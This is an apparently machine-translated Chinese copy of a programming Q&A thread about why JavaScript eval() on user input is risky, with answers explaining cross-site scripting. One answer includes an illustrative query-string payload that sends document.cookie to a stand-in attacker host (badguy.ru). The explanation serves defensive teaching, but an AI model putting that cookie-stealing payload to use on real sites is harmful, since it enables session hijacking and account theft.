JavaScript eval()是如此危险



可能的重复:
javaScript的eval()什么时候而不是邪恶?

我正在编写一个脚本,其中用户必须以货币金额编写,一些示例可能是(用户输入>>转换为),而USD为默认货币:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP

我想使其尽可能平滑,因此我想使用JavaScript(这是一个基于PHP/MySQL JavaScript的Web应用程序)。我想使用Regex过滤输入,通过eval()运行并返回。

这是个坏主意吗?我已经阅读了一些有关eval()是安全问题的主题。我只是看不到如何。用户无论如何都可以轻松运行JavaScript?

请记住,我将在以后的阶段验证所有输入服务器端。

您是正确的,最终用户可以通过浏览器的开发人员控制台轻松地执行任意JavaScript(我一直这样做)。您要担心的是攻击者劫持使用eval的功能。

eval通常认为危险的原因是因为它非常容易让不信任的代码潜入。请考虑一个允许您通过查询字符串指定输入的页面,其中输入框与该页面预处理在查询字符串中的值。

攻击者可以传播一个链接,该链接包含窃取用户登录cookie的代码:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;

(显然需要适当的URL编码;这是用于插图。)

或,当验证失败时,您的php脚本回声echos将数据寄回了您的表单。攻击者可以创建一个专门制作的表格,该表格通过相同的cookie偷走代码发布到您的表格中。

可以通过使用httpOnly cookie(以防止被盗cookie)或确保数据被消毒&ndash来减轻这些攻击中的每一个;但是关键是,这甚至还没有详尽地列出问题如何出错。例如,注射的脚本仍然可以在金额字段中插入1000,并尝试将该金额转移到攻击者的帐户(如果这是汇款页面)。

即使您使用的是您使用正则态度来消毒输入的事实也不一定保护您:可以完全用括号完全编写任意JavaScript!

因此,最重要的是,如果您可以绝对确定,输入进入文本字段的唯一方法是通过用户输入,那么您还没有获得。他们将无法通过控制台做的任何事情。但是,如果攻击者可以以某种方式将自己的数据获取到该字段,则eval可能会使您暴露于漏洞。

另请参见:

  • JavaScript评估简单的数学字符串,例如5*1.2(eval/White-list?)
  • JavaScript仅用括号写?

如果需要,请使用它。

这是一个很好的链接,它既讨论安全性……也是对" eval()"的其他常见异议:

  • http://javascriptweblog.wordpress.com/2010/04/19/how-evil-is-is-eval/

安全性呢?如果您的软件可以评估 它的论点在这方面几乎没有恐惧。当然,它 评估输入框的价值是不明智的,但是运行评估 在您自己的服务器代码生成的响应中,应该没有 特殊风险。还要记住,可能会遇到攻击的人没有损害 可以通过客户端评估,他们无法更轻松地实现 带有现代浏览器控制台。

imho ...

最新更新